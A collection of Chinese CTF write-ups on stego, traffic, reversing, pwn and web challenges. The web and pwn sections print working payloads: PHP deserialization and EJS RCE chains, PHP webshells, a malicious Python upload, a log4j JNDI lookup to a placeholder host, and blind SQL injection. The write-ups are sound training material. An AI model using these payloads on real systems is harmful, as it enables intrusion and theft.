#7;9&0#7;4&0#9;0&0#7;7&0#7;3&0#5;1&0#7;2&0#5;0&0#6;1&0#6;1&0#6;1&0#9;2&1#0;0&0#6 ;8&0#8;1&0#7;7&0#7;6&0#6;6&0#7;2&0#6;9&0#5;2&0#8;4&0#7;5&0#3;2&0#3;2 把所有的"#&;"全部剔除, 简单处理一下得到一堆十进制 解码得到: &MZWGCZ33GF[0-1]LBGY2GKMRW#RGGOJYGAZTQM\dṚRTCNJRGQY;OJZMI3H2===\d᫡MLBHE4TK 注意到MZWGCZ33GF是flag{的base32形式，手动提取出所有base32数据 MZWGCZ33GF LBGY2GKMRW RGGOJYGAZTQM MFRTCNJRGQY OJZMI3H2=== DQMLBHE4TK 尝试拼接后得到顺序 MZWGCZ33GFRGGOJYGAZTQMLBGY2GKMRWMFRTCNJRGQYDQMLBHE4TKOJZMI3H2=== 得到flag flag{1bc980381a64e26ac1514081a99599b6} 隐写6-0 由题目名得到key为 1234567812345678 解aes得到一个png图片的hex数据，解出来后尾部还有个flag.txt的压缩包，png高度拉大之后即可看到密码 CTF12345fas5v2feq 解开压缩包即可 flag{f3e7a7577ddbc64dfcd03f1d97197b03} BabyTraffic pcapng是键盘流量，使用脚本可以提取出来下列数据 Part<SPACE>of<SPACE>the<SPACE>password<SPACE>is<SPACE>P@334 w0rD_1 P@33w0rD_1 HTTP流量里面可以看到GET请求的参数里面有第二段密码 GET /check.php?username=Partofthezippasswordis&password=s_Here HTTP/1.1 合起来得到完整的密码，解压缩包得到flag P@33w0rD_1s_Here babysteg word打开时报错, 将docx后缀改为zip，可以得到flag.zip和secret.wav. 其中secret.wav存在deepsound的隐写 使用工具deepsound2john之后爆破密码得到密码为20210110 使用deepsound工具解密得到一个passwd.txt和key.zip 其中passwd.txt里是一串的hex数据 使用rot13解码后得到一张图片，用exiftool工具即可得到字符串: interesting_exif 揭开key.zip之后得到一个字典，爆破原来的flag.zip即可 爆破得到的密码为 January_10th 解压缩包即可得到flag 简单的反序列化 构造payload如下. $gui = new jienigui(); $gui->pay = "system('cat /flag');"; $Long = new xiaohuolong(); $Long->x = $gui; $ctf = new NFCTF("abc"); $ctf->id = "NFCTF"; $ctf->payload = $Long; 使用python填充add以实现字符串逃逸: addaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddadd";s:2:"id";s:5:"NFCTF";s:7:"payload";O:11:"xiaohuolong":1:{s:1:"x";O:8:"jienigui":1:{s:3:"pay";s:20:"system('cat /flag');";}}s:7:"nothing";N;} thisa 核心代码如下 int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax unsigned int v4; // eax _QWORD v6[34]; // [rsp+10h] [rbp-200h] BYREF char v7[144]; // [rsp+120h] [rbp-F0h] BYREF __int64 v8[2]; // [rsp+1B0h] [rbp-60h] BYREF __int16 v9; // [rsp+1C0h] [rbp-50h] char s[2]; // [rsp+1CEh] [rbp-42h] BYREF __int64 v11[7]; // [rsp+1D0h] [rbp-40h] BYREF unsigned int v12; // [rsp+208h] [rbp-8h] unsigned int i; // [rsp+20Ch] [rbp-4h] qmemcpy(v11, "1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF", 48); strcpy(s, "1"); v8[0] = 0LL; v8[1] = 0LL; v9 = 0; strcpy( v7, "50 6C 9B 60 56 4B C7 52 FE 05 15 BE 7E BE 61 2A 77 5E 0B 05 2A 9D 70 FD 3C 7A C8 8C 04 0C CA FE FE F2 DD E8 6F 22 1C" " 63 45 7F D0 88 37 E6 C1 C8"); for ( i = 0; i <= 0x8F; ++i ) v7[i] = 2 * i; memset(v6, 0, sizeof(v6)); v6[1] = 0x100000100LL; v6[2] = &v11[2]; // 取出pwd v6[3] = v11; // 取出iv printf("Build %s %s\r\n", "Sep 13 2023", "16:13:18"); v3 = strlen(s); PrintData("sourceMsg", s, v3); AESInit((__int64)v6); v4 = strlen(s); v12 = AESEncrypt(v6, s, v8, v4); PrintData("encryptMsg", v8, v12); return 0; } 解密 AES 得到flag:
Surfer 为计分器dom对象添加断点, 当该dom的内容发生变化时将进入js的调试断点. 经调试, 在下述代码处可获取全局状态对象: 修改分数, 即可直接通关: $e.data.game.distance.y = 1145141919800 同时, 在文件surf.bundle.js中搜索关键字flag可以得到以下代码, 发现是一处游戏"秘籍": 在游戏中依次按下按键IWANTFLAG([73, 87, 65, 78, 84, 70, 76, 65, 71]), 可以得到以下内容: 解码得到Hell0Pixel 根据通关后的SVG的提示, 使用openssl进行解密, 得到flag: echo "IBzRq4skydTTpG2Mi/DIFg86iLQCSRv6Lyk+r8aZWlQwKCF3W7yoLhDtMioJHHBN" |openssl.exe enc -d -aes-128-ecb -base64 -K 48656c6c30506978656c # hex string is too short, padding with zero bytes to length # flag{a425e172-cb19-4b48-95ee-0098b1f5aa56} my blog 根据网页源代码的提示访问/s3cret., 使用{{1+1}}发现存在SSTI 直接使用{{config}}可以得到密钥: 解码token可以得到身份校验字符串: {'user': 'guest'}. 伪造admin身份, 得到flag: backup 存在robots.txt, 可以获取sql数据库备份文件 打开文件找到账号和密码, 登录即可获得flag: ezjava 使用口令admin:admin即可登录, 登录后提示是Shiro. 搜索Shiro相关漏洞, 发现如下内容: 打开漏洞利用工具, 使用文件中提供的key逐个尝试, 发现第一个key就有效. 执行命令得到flag: weblogic 根据题目提示, fscan工具探测其存在weblogic反序列化漏洞 搜索漏洞利用工具: 脚本很长就不贴了. 执行命令可得到flag: 模板小王子 在首页注释中发现存在文件读取, 从响应头中看出是php的站, 补充.php后缀读取文件: 读取index.php和template.html代码并将base64转换为文本文件: 在注册页面注册用户admin:admin, 登录后生成模板/sandbox/21232f297a57a5a743894a0e4a801fc3.php. 同样读取该模板源代码. //index.php if(isset($_POST['punctuation'])){ if (strlen($_POST['user']) > 6){ echo(" "); } elseif(strlen($_POST['website']) > 25){ echo(" "); } elseif(strlen($_POST['punctuation']) > 120){ echo(" "); } else{ if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){ if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){ $_POST['punctuation'] = preg_replace("/[a-zA-Z2-9!'@#%^&:{}\-<\?>\"|`~\\\\]/"," ",$_POST['punctuation']); $template = file_get_contents('./template.html'); $content = str_replace("__USER__", $_POST['user'], $template); $content = str_replace("__PASS__", $hash_pass, $content); $content = str_replace("__WEBSITE__", $_POST['website'], $content); $content = str_replace("__PUNCH__", $_POST['punctuation'], $content); $content2 = str_replace("__USER__", $_POST['user'], $template); $content2 = str_replace("__PASS__", $hash_pass, $content); $content2 = str_replace("__WEBSITE__", $_POST['website'], $content); $content2 = str_replace("__PUNCH__", $_POST['punctuation'], $content); file_put_contents('sandbox/'.$hash_user.'.php', $content); echo(" "); } 上述代码中对$user/$website和$punctuation均做了相关过滤. 其中$punctuation可使用"无字母数字构造webshell": 由于__PUNCTUATION__并不在<?php中, 所以需要设法将HTML标签跳过. 经测试可使用"块注释"的方式实现. 构造如下payload: user=a/*&website=adm&pass=adm&punctuation=*/);$_=(0/0)._;$_=$_[0];$_1=++$_;$__=_;$__.=++$_;$__.=$_1;$_++;$_++;$__.=++$_;$__.=++$_;$$__[0]($$__[1]);/* 效果如下所示: 使用hackbar工具获得flag: node-ssti 根据网页源代码的提示, 访问/page?id=123, 页面是使用ejs引擎渲染的: 旧版本的ejs引擎的outputFunctionName函数对字符过滤不严导致存在RCE漏洞, 查找相关资料: 该payload可成功利用漏洞. 构造如下payload获取flag: http://192.168.100.19:48483/page?id=AAAA&settings[view%20options][outputFunctionName]=x;return%20global.process.mainModule.require(%27child_process%27).execSync(%27cat%20/f1zzzag%27).toString();x ezphp 分析源代码, 可知该程序会将给定path的所有文件大小列出: 在kali虚拟机中执行ls -l /, 可以推断出大小为4096的文件是目录. 获取当前目录情况如下: 4096 4096 58 345 443 在PHP中, 使用glob://伪协议可以获取文件的长度. 根据dirsearch的扫描结果, 存在如下文件: 分别使用glob://伪协议读取flag.php和index.php, 得到其文件大小为: flag.php: 58 index.php: 345 则尝试猜解长度为443的文件名称, 编写脚本如下 : $url = "http://192.168.100.19:47283/?path=glob://" while($url -notlike "*.php") { foreach($c in 33..126) { if (([char]$c -eq "*") -or [char]$c -eq "?") { continue; } $res = Invoke-WebRequest -Uri "$($url)$([char]$c)*"; if($res.Content -like "*443*") { $url = "$($url)$([char]$c)" echo $url break; } } } echo $Url; 得到该文件的名称 访问即可获得源码: <?php error_reporting(0); highlight_file(__FILE__); $realflag=file_get_contents("flag.php"); $func = create_function("","die('$realflag');"); echo $func; if(isset($_GET['s'])){ if(file_get_contents($_GET['s']) === "please_give_me_flag"){ if($_GET['n']<=127){ die("No no no!"); } elseif (chr($_GET['n'])==='y'){ $_GET["p"](); } else{ die("???"); } } } 其中s可使用data://伪协议匹配, n则可使用0x01<<8 | (char)'y'. p则直接使用$func即可. 构造payload如下: http://192.168.100.19:47283/you_find_this.php?n=633&s=data://text/plain;base64,cGxlYXNlX2dpdmVfbWVfZmxhZw==&p=%00lambda_1 得到flag: flask is yammy 存在文件读取后门, 根据题目名称和响应头判断是python程序, 尝试读取app.py #http://192.168.100.19:47684/include?path=app.py from include import include_bp from upload import upload_bp #upload.py from saying import saying_bp #sayings.py app = Flask(__name__, static_url_path='', static_folder='templates', template_folder='templates') app.register_blueprint(include_bp) app.register_blueprint(upload_bp) app.register_blueprint(saying_bp) 根据app.py读取upload.py和saying.py的源码. 直接读取不成功, 猜测可能是使用了包, 分别读取upload/__init__.py和saying/__init__.py, 最终确定源码文件为: upload/upload.py | saying/saying.py | include/include.py 读取源码如下: # upload.py @upload_bp.route('/upload', methods=['POST']) def Upload(): try: file = request.files.get('image-file') fileName = file.filename.replace('..', '') filePath = os.path.join("static/upload/", fileName) if filePath.endswith('.yaml'): filePath = filePath[:-5] + '.txt' file.save(filePath) return { 'success': 1, 'message': '上传成功!', 'url': "/" + filePath } except Exception as e: return { 'success': 0, 'message': '上传失败' } #saying.py def waf(data): if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|EVAL|\(|\)', str(data), re.M | re.I): return False else: return True @saying_bp.route('/saying') def Saying(): if request.args.get('path'): file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack') try: with open(file, 'rb') as f: with app.app_context(): f = f.read() if waf(f): print(yaml.load(f, Loader=Loader)) try: # some code that may raise an exception return "生存或者死亡你已经做出了决策（我的意思是提交flag或者重开环境）" except Exception as e: print(f"An error occurred: {e}") # print the error message else: return render_template('sayings.html', yaml='你说得不对') except Exception as e: return render_template('sayings.html', yaml='你懂的：'+str(e)) else: with open('view/haha.yaml', 'r', encoding='utf-8') as f: sayings = yaml.load(f, Loader=Loader) saying = random.choice(sayings) return render_template('sayings.html', yaml=saying) #include.py @include_bp.route('/include') def include(): if request.args.get('path'): path = request.args.get('path').replace('../', '') if os.path.exists(path): return send_file(path) else: return "??????????" 根据上述代码, 既然可以上传任意文件到static/upload下, 则可利用__init__.py的特性, 将该目录变为python的包. 之后设法impor即可执行代码. 构造请求如下, 分别上传__init__.py和test.yml(yaml被过滤了, 但是yml没有, 这里使用yml绕过过滤) ------WebKitFormBoundaryD22AnWPpBSBIDlGL Content-Disposition: form-data; name="image-file"; filename="__init__.py" Content-Type: text/plain import os; os.system("ls / >> result.txt"); os.system("cat /fl* >> result.txt"); ------WebKitFormBoundaryD22AnWPpBSBIDlGL-- ------WebKitFormBoundaryD22AnWPpBSBIDlGL Content-Disposition: form-data; name="image-file"; filename="test.yml" Content-Type: text/plain !!python/module:static.upload ------WebKitFormBoundaryD22AnWPpBSBIDlGL-- 使用payload/saying?path=static/upload/test.yml执行命令, 之后读取结果即可: gallery 根据提示可以获取源码: http://192.168.100.19:48844/?action=source 上传的图片会使用convert命令处理, 需准备图片马: convert -size 100x100 -comment '<?php eval($_REQUEST["cmd"]); ?>' real-pic.png real_pic_shell.png 同时根据源码可以推断, 可以利用svg进行xxe, 以执行代码或包含文件. 然而不知道该包含哪个文件, 只能rce了, 试了expect不支持, phar协议也不能用, 想利用PhotoUpload反序列化也是够呛(escapeshellcmd()函数绕不过去) 可以用SVG外联图片的方式读写文件, 上传svg并写马, 最终得到flag: 最终用到的payload如下: <?xml version="1.0" encoding="UTF-8" ?> <image> <read filename="/var/www/html/upload/d1e46637c006eebb38cfcb3ed008d6fa/fa7e2ac98d8a777008824844acf3e881.png" /> <write filename="/var/www/html/upload/shell_huihui.php" /> <image href="/var/www/html/upload/d1e46637c006eebb38cfcb3ed008d6fa/fa7e2ac98d8a777008824844acf3e881.png" /> </image> <?xml version="1.0" encoding="UTF-8"?> <image width="120" height="120" href="msl:/var/www/html/upload/d1e46637c006eebb38cfcb3ed008d6fa/6ae6c290ba81f95de651c4670449e69b.svg" /> upload 上传一句话木马, 使用蚁剑连接后可以在config.php中得到redis服务器的连接配置, 使用蚁剑连接redis服务器(需要装插件)即可获得flag: aibot 整个网页没有任何可利用的提示, 打开浏览器开发者工具的"源"选项卡, 一个一个的看. 发现/css/style.css存在猫腻 下载之后是jar包, 用jadx打开, 主函数如下: package bot; /* loaded from: bot.jar:bot/App.class */ public class App { public static Logger LOGGER = LogManager.getLogger((Class<?>) App.class); public static void main(String[] args) { String flag = System.getenv("FLAG"); if (flag == null) { LOGGER.error("{}", "flag unknown"); } LOGGER.info("msg: {}", (Object[]) args); String cmd = System.getProperty("cmd"); if (cmd.equals("help")) { doHelp(); } else if (cmd.startsWith("/")) { doCommand(cmd.substring(1), args); } else { doChat(cmd); } } // 省略了一些代码, 因为我没有用上它们 private static void doHelp() { System.out.println("命令应该以 / 开始，例如 /help"); System.out.println("目前命令列表：[help, repeat, time, wc]"); } private static void doChat(String text) { System.out.println(text + "吗?"); } } 分析上述代码, FLAG是以环境变量的方式读出的, 那么可以设法读取环境变量即可. 然而题目给出的程序里并没有读取环境变量的代码, 看来看去也就只有log4j库可以一试了. 在电脑上搜了几个漏洞利用工具, 都失效了(基本上版本都不匹配). 在Jadx中打开该库, 试试逆向分析一下. 根据著名的log4j ldap rce漏洞的payload来分析, log4j的格式化字符串格式是: ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Basic/TomcatEcho} 其中ldap是通信协议, 因为这里需要获取本地环境变量, 应该更换成${Env:FLAG}(说实话, 其实我也不知道Java是不是这样的, 反正C#是这样的). 则可能的payload为: ${jndi:${ENV:FLAG}}(试了, 不行) 继续在jadx中寻找代码jndi, 看在这里的jndi到底代表什么. 发现此处的jndi应该是对应的某种LookUp抽象类的实现. 既然jndi不行, 那就逐个尝试: 最终发现${Java:${ENV:FLAG}}可以用, 得到flag: (感觉${Environment:$FLAG}应该也可以, 但是不知道为啥读不出来)😥 auth 存在sql注入, 使用用户名admin'加任意密码即可登录, 登录后修改cookie中的用户名为admin即可得到flag
题目链接: LoopAndLoop(阿里CTF) - Bugku CTF 反编译 Java // Target String in_str = ed.getText().toString(); try { int in_int = Integer.parseInt(in_str); if (MainActivity.this.check(in_int, 99) == 1835996258) { tv1.setText("The flag is:"); tv2.setText("alictf{" + MainActivity.this.stringFromJNI2(in_int) + "}"); return; } tv1.setText("Not Right!"); } catch (NumberFormatException e) { tv1.setText("Not a Valid Integer number"); } // Function chec is a jni function public int check(int input, int s) { return chec(input, s); } public int check1(int input, int s) { int t = input; for (int i = 1; i < 100; i++) { t += i; } return chec(t, s); } public int check2(int input, int s) { int t = input; if (s % 2 == 0) { for (int i = 1; i < 1000; i++) { t += i; } return chec(t, s); } for (int i2 = 1; i2 < 1000; i2++) { t -= i2; } return chec(t, s); } public int check3(int input, int s) { int t = input; for (int i = 1; i < 10000; i++) { t += i; } return chec(t, s); } C Java_net_bluelotus_tomorrow_easyandroid_MainActivity_chec (int *param_1,_jmethodID *param_2,undefined4 param_3,int param_4) { char *pcVar1; int extraout_r1; undefined4 local_24[4]; pcVar1 = (char *)(**(code **)(*param_1 + 0x18)) (param_1,"net/bluelotus/tomorrow/easyandroid/MainActivity"); local_24[0] = _JNIEnv::GetMethodID((_jclass *)param_1,pcVar1,"check1"); local_24[1] = _JNIEnv::GetMethodID((_jclass *)param_1,pcVar1,"check2"); local_24[2] = _JNIEnv::GetMethodID((_jclass *)param_1,pcVar1,"check3"); if (0 < param_4 + -1) { __aeabi_idivmod(param_4 << 1,3); param_3 = _JNIEnv::CallIntMethod ((_jobject *)param_1,param_2,local_24[extraout_r1],param_3,param_4 + -1); } return param_3; } Jni for ARM 官方文档中函数GetMethodID和CallIntMethod的签名如下: jmethodID GetMethodID(JNIEnv *env, jclass clazz, const char *name, const char *sig); // NativeType Call<type>Method(JNIEnv *env, jobject obj, jmethodID methodID, ...); NativeType Call<type>MethodA(JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args); NativeType Call<type>MethodV(JNIEnv *env, jobject obj, jmethodID methodID, va_list args); 至于那个pcVar1, 根据字符串的字面量猜测, 可能是获取MainClass对象的函数, 在文档中查找相关函数, 可以发现函数FindClass大概与之对应: jclass FindClass(JNIEnv *env, const char *name); 按照上述函数签名, 对反汇编的C代码稍加修饰. 可以得到如下的伪代码: Java_net_bluelotus_tomorrow_easyandroid_MainActivity_chec (int *jenv,_jmethodID *thiz,undefined4 param_3,int param_4) { char *clazz; int extraout_r1; undefined4 local_24 [4]; clazz = (char *)(**(code **)(*jenv + 0x18)) (jenv,"net/bluelotus/tomorrow/easyandroid/MainActivity"); local_24[0] = _JNIEnv::GetMethodID((_jclass *)jenv,clazz,"check1"); local_24[1] = _JNIEnv::GetMethodID((_jclass *)jenv,clazz,"check2"); local_24[2] = _JNIEnv::GetMethodID((_jclass *)jenv,clazz,"check3"); if (0 < param_4 + -1) { __aeabi_idivmod(param_4 << 1,3); param_3 = _JNIEnv::CallIntMethod ((_jobject *)jenv,thiz,local_24[extraout_r1],param_3,param_4 + -1); } return param_3; } 似乎Ghidra在没有安装插件的情况下, 对ARM32的汇编支持不是很好, 重命名符号会把汇编中寄存器的名称给改掉. 也不知道是哪里做错了. 剩下的工作是分析__aeabi_idivmod和变量extraout_r1的赋值逻辑. ARM汇编码简记 ldr r6,[sp,#local_30 ] ;load_register: r6 = memory[sp + local_30] str r0,[r5,#local_1c ] ;store_register: memory[r5 + local_1c] = r0 subs r6,#0x1 ; r6 = r6 - 1 cmp r6,#0x0 ; compare r6 with 0 ble LAB_00010efe ; if (r6 less than 0) ldr r3,[sp,#local_30 ] ;load_register: xxxxxxx movs r1,#0x3 ; r1 = 3 lsls r0,r3,#0x1 ; r0 = r3 << 1 bl __aeabi_idivmod ;call: __aeabi_idivmod lsls r1,r1,#0x2 ;r1 is the remainder(余数) ldr r2,[r1,r5] ;load_register: r2 = memory[r1 + r5](r5保存着methods id数组) adds r0,r4,#0x0 ; r0 = r4 (r4 一直保存着jenv) str r6,[sp,#0x0 ]=>local_40 ;store_register: xxxxxx ldr r1,[sp,#local_2c ] ; (local_2c保存着thiz指针) ldr r3,[sp,#local_34 ] ;load_register: xxxxxx bl _JNIEnv::CallIntMethod ;call _JNIEnv b LAB_00010f00 ldr r0,[sp,#local_34 ] ; local_34 = _JNIEnv::CallIntMethod(jenv, ) add sp,#0x2c pop {r4,r5,r6,r7,pc} 查阅相关文档, 函数__aeabi_idivmod是求商取余的函数, r0保存商, r1保存余数. 变量extraout_r1就是余数. 根据汇编码还原出函数chec: public int chec(int input, int s) { if (s - 1 > 0) { int t = (s << 1) % 3; switch(t) { case 0: input = check1(input, s - 1); break; case 1: input = check2(input, s - 1); break; case 2: input = check3(input, s - 1); break; } } return input; } 可以分析上述代码, chec的输出值与输入input之间只有简单的加减乘除运算, 设chec为f(x, s), f(x, s)是线性函数, 且斜率为1. 既然是线性函数, 则编写程序使用二分法爆破即可. 但是进一步分析f(x, s), 因为它是线性函数, 且s固定为99, 所以它的表达式为f(x, 99) = x + a, 而a=f(0, 99), 所以只需要计算出chec(0, 99), 1835996258 - chec(0, 99)即为期望的输入: 找个模拟器运行程序, 得到flag(就不逆向stringFromJNI2了, 麻烦)
题目来源: 第七届全国工控系统信息安全攻防竞赛 CRCcode WriteUp 下载题目附件, 根据题目提示Modbus RTU, 查找该协议相关的数据帧格式资料. 据资料可知: (图源) 根据题目, 可以猜测本题解应当与CRC校验有关. 利用在线CRC计算工具, 手动尝试对附件中的Modbus RTU数据进行CRC校验, 附件中存在CRC校验不通过的数据. 在控制台中编写Javascript脚本, 利用该Web工具依次对附件中的数据包进行CRC校验, 可得到校验正确的数据. 将校验正确的数据复制并粘贴到Excel表格软件中, 利用Excel内置的"文本转换成表格工具(文本分列向导)" 将数据按照Modbus RTU协议帧的格式分开, 以便后续分析. 利用Excel的筛选功能, 可以根据设备id/功能码等不同字段的数据包分别进行分析. 最终发现, 在向设备ID为1的设备执行写操作时, 其负载数据可以正常解码: 过滤数据包 解码负载数据 最终测试发现, 按照地址排序，提取出数据, 可得到flag 最后附上在Chrome控制台中执行的Javascript代码: const _chr = chr; chr = () => { _chr(); return document.querySelector("#s4").innerText; } let arr = ["010548fda4bb519e", "..............."]; // 粘贴附件里的数据包. let out = []; arr.forEach(ele => { document.querySelector("#input1").value = ele.substr(0, 12) ; out.push(chr().toLowerCase()); }); let i = 0; // let _csv = ""; arr.forEach(ele => { if(ele.substr(12, 4) == out[i]) { console.log(ele); // _csv += `${ele.substr(0,2)},${ele.substr(2,2)},${ele.substr(4,4)},${ele.substr(8,4)},${ele.substr(12,4)}`; } i++; });
附件下载 zzip 使用binwalk分析图片, 发现存在zip尾部特征. 随便找一个正经的zip文件, 使用HxD补全zip的头: unzip命令解压得到flag: good_day 发现存在文件包含, 使用php伪协议读取flag.php文件得到flag: hide 是C#的应用, 使用dnSpy打开, 动态调试程序, 在btnStart_Click的事件响应函数里发现为label赋值的函数, 逐个运行得到一堆字符: all{7liuf}Pgo 怀疑flag可能跟label控件的位置有关, 使用HTML和css绝对定位模拟label标签的显示效果, 得到flag: flag{Plo7} x+1 13, 12, 7, 29, 67, 92, 80, 83, 80, 84, 87, 26, 1, 5, 8, 1, 6, 92, 0, 5, 84, 83, 91, 92, 87, 29, 81, 90, 13, 86, 6, 2, 81, 3, 91, 7, 24 数值看上去比较离散, 基本可以排除凯撒加密, 尝试异或运算: 编写脚本解出flag: $x = 13, 12, 7, 29, 67, 92, 80, 83, 80, 84, 87, 26, 1, 5, 8, 1, 6, 92, 0, 5, 84, 83, 91, 92, 87, 29, 81, 90, 13, 86, 6, 2, 81, 3, 91, 7, 24; $flag = @([int][char]'f'); $x | % { $flag += ($_ -bxor $flag[-1]) + 1; } ($flag | % { [char]$_ } ) -join ""; easysuanfa 使用Ghidra反编译, 利用字符串提示跳转到关键代码: 其中DAT_004021b4和DAT_00402158均为双字的数组, 算法核心部分为: uVar5 = uVar7 & 0x80000003; if ((int)uVar5 < 0) { uVar5 = (uVar5 - 1 | 0xfffffffc) + 1; } uVar5 = (&DAT_004021b4)[uVar5]; uVar2 = (int)(char)(&stack0xffffffd8)[uVar7]; while (uVar5 != 0) { uVar6 = uVar2 ^ uVar5; uVar5 = (uVar2 & uVar5) * 2; uVar2 = uVar6; } if (uVar2 != (&DAT_00402158)[uVar7]) { pcVar8 = "Try again!:(`"; goto LAB_00401150; } uVar7 = uVar7 + 1; 使用ida pro反编译的话, 得到的代码更简洁明了: 在data段中为DAT_004021b4和DAT_00402158创建dword数组, 长度分别为4和23 将两个关键数组复制出来, 编写脚本爆破flag: $flag_arr = 0x129A,0x56E4,0x87C6,0x4388,0x12AF,0x56BF,0x87CE,0x4397,0x1299,0x56D7,0x87D2,0x4386,0x1293,0x56E5,0x87D4,0x4393,0x1299,0x56D7,0x87C7,0x438A,0x12A8,0x56EB,0x87E2 function enc($chr, $index = 0) { $key_arr = 0x1234,0x5678,0x8765,0x4321; $key = $key_arr[$index % 4]; while ($key -ne 0) { $t = $chr -bxor $key; $key = ($chr -band $key) * 2; $chr = $t; } return $chr; } 1..23 | % { $index = $_ - 1; foreach ($chr in [int][char]"0" .. 126) { #'0'-'~' $c = $chr; if ((enc -chr $chr -index $index) -eq $flag_arr[$index]) { $flag_arr[$index] = $c; break; } } } ($flag_arr | % { [char]$_ }) -join "" AnalyseMe2 一道流量分析题, 根据exp.py, 编写脚本从流量包中提取有效的数据. 使用tshark工具将流量包解析成json格式以便使用脚本处理. 最终得到的content为: ($content | % { [char]$_ }) -join "" # afb0e1dedddfe0dde1b0addfafdeb1e1dcafaddde1b3e0dcdcb1acdddfdddeb1e1e7dce2f6dcdcdeb3deafacdcb3b1ddb3afe0b1b0dcdcdde0aeafb3abaedddeabb0afdfb0f8b1afb4b0b3ddabb2acb4e1abafb4acacdcb2b1b0b1deb0afe1b1aeb2b0dcddb2 看起来应该是Hex, 将该字符串转换为int型数组进行分析: $hex = ($content | % { [char]$_ }) -join "" $bytes = [int[]] -split ($hex -replace "(\w\w)",'0x$1 ') # 175 176 225 222 221 223 224 221 225 176 173 223 175 222 177 225 220 175 173 221 225 179 224 220 220 177 172 221 223 221 222 177 225 231 220 226 246 220 220 222 179 222 175 172 220 179 177 221 179 175 224 177 176 220 220 221 224 174 175 179 171 174 221 222 171 176 175 223 176 248 177 175 180 176 179 221 171 178 172 180 225 171 175 180 172 172 220 178 177 176 177 222 176 175 225 177 174 178 176 220 221 178 根据exp.py中的提示: th1s_1s_y0ur_w4nt.caesar_code, 猜测可能和凯撒加密有关. 为了破解凯撒加密, 进行简单的统计: bytes中最大值为248, 最小值为171, 两者的差值为77: 而根据ASCII, 字符"}"与字符"0"之间的差值也是77. 比较巧合? 尝试将bytes中所有元素均向前偏移123位, 使bytes中最小元素与ASCII字符"0"对齐, 得到flag: 最终用到的解密脚本如下: $json = tshark -r .\data.pcapng -j "http" -Y "data-text-lines" -T "json" -e "http.file_data" -e "http.response_for.uri" | ConvertFrom-Json ; $data = $json | % { @{url=$_._source.layers.'http.response_for.uri'; data=($_._source.layers."http.file_data" -like "*your uid:1*")} } ; $i = 0; $content = @(); foreach ($pos in 1..204) { $min_num = 32; $max_num = 126; $mid_num = [System.Math]::Floor(($min_num + $max_num) / 2); while ($min_num -lt $max_num){ $payload = "vince'!=!(ascii(mid((select try_decode from th1s_1s_y0ur_w4nt.caesar_code), $($pos), 1)) > $($mid_num))!=!'1"; $myurl = "http://127.0.0.1/pikachu-master/vul/sqli/sqli_blind_b.php?name=$($payload)&submit=%E6%9F%A5%E8%AF%A2"; if([System.Web.HttpUtility]::UrlDecode($data[$i].url) -ne [System.Web.HttpUtility]::UrlDecode($myurl)) { Write-Error "ERROR: min_num=$($min_num), max_num=$($max_num), mid_num=$($mid_num), index=$($i)`npos=$($pos)"; } #resp = requests.get(url=myurl) if($data[$i].data) { $min_num = $mid_num + 1 } else { $max_num = $mid_num } $mid_num = [System.Math]::Floor(($min_num + $max_num) / 2); $i ++; } $content += [int]$mid_num } $hex = ($content | % { [char]$_ }) -join "" $bytes = [int[]] -split ($hex -replace "(\w\w)",'0x$1 ') ( $bytes | % { [char]([int]$_ - ([int]($bytes | Measure-Object -Minimum).Minimum - [int][char]'0')) }) -join "" 另外, 写了个破解凯撒加密的脚本, 测试了可以用 脚本链接 心情记录器 NodeJS原型链污染一则(RCE) sof 静态分析一下, 有漏洞的函数长这样: ;undefined hack () PUSH RBP MOV RBP ,RSP SUB RSP ,0x30 MOV R13 ,RBP ;buffer MOV RSI ,R13 ;Buffer MOV RDI ,0x0 ;stdin MOV RDX ,16 ;length MOV RAX ,0x0 ;read SYSCALL LEAVE RET 代码是从RBP往下写, 最多写两个qword. 此外, 还有一个backdoor函数: ;undefined backdoor () ;地址 PUSH RBP ;0040064a MOV RBP ,RSP ;0040064b LEA RDI ,[s_/bin/sh_004007b2 ] ;0040064e CALL <EXTERNAL>::system ;00400655 NOP ;0040065a POP RBP ;0040065b RET ;0040065c 直接发下述paload即可: payload = b"a" * 8 + p64(0x040064a); 但是, 如果环境是Ubuntu 18及以后的话(Debian和Kali也符合), system函数需要对栈内存进行对齐. 具体怎么对齐我也说不清楚, 可参考这篇文章: 关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园 (cnblogs.com) 根据这篇文章分享的经验, 上述payload则可以修改为: payload = b"a" * 8 + p64(0x040064b); web2 @app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY 打开附件web2.txt, 就长上面这样. 根据代码逻辑推测, 需要某种请求方法, 使其既能命中路由@app.route('/getkey', methods=["GET"]), 又不能是GET. 现场猜测应该是HEAD方法即可. 事后查询一下官方文档, 的确HEAD是自动开启的: route(rule, **options) Decorate a view function to register it with the given URL rule and options. Calls add_url_rule(), which has more details about the implementation. @app.route("/") def index(): return "Hello, World!" See URL Route Registrations. The endpoint name for the route defaults to the name of the view function if the endpoint parameter isn’t passed. The methods parameter defaults to ["GET"]. HEAD and OPTIONS are added automatically. Parameters: rule (str) – The URL rule string.options (Any) – Extra options passed to the Rule object. Return type: Callable[[T_route], T_route] 用burpsuite构造HEAD请求测试一下: (比赛现场的环境没有了, 截图都是我在本地环境模拟的, 不一定是完整的题解, 只是提供一个参考思路) 可以看到程序返回了session. 当时不知道是在现场没有找到合适的工具发送HEAD请求, 还是这种思路是错误的, 总之我印象中确实是没有获得预期的session 用工具解码一下该session即可得到SECRET_KEY. 